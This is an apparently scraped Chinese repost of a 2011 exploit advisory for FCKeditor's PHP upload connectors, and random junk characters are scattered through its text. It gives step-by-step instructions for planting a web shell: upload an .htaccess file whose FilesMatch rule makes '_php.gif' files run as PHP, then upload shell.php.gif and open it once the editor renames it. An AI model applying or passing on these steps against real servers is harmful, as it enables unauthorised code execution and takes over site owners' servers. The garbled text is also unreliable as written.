FCKeditor所有php版本Upload上传漏洞

admin

FCKeditor所有php版本Upload上传漏洞 作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 5 ?9 m" N6 h, K' R/ m9 r) V- @减小字体 增大字体 & n: y% V$ R8 z4 B[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability 4 J9 l5 u. r4 i/ i/ H: X[+] Date: 2011 ; {* j% U' |  b) W1 D. z[+] Author : sinesafe.cn [+] Website : WwW.sinesafe.cn ——————————————————— # ?( [& Q6 f! k- `* I# W1.create a htaccess file: % R9 P7 L& O, o, r- o! ?; {code: 8 _3 a& {  g! M' d<FilesMatch “_php.gif”> SetHandler application/x-httpd-php </FilesMatch> 2.Now upload this htaccess with FCKeditor. http://www.sinesafe.cn/FCKeditor ... er/upload/test.html + v( I; |7 p) X$ M, O1 Lhttp://www.sinesafe.cn/FCKeditor ... onnectors/test.html ; P: R9 V/ D# j, a' Y* G———————————————————————————————- 4 s% Z: C9 V  {. W' M$ w+ _3.Now upload shell.php.gif with FCKeditor. 4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. 5.http://www.sinesafe.cn/anything/shell_php.gif & w% C) |, v5 e' k3 b  E' A6.Now shell is available from server.

( k6 n8 R$ A: O1 s1 o

9 n" q5 E# i* z2 ?' W, C6 r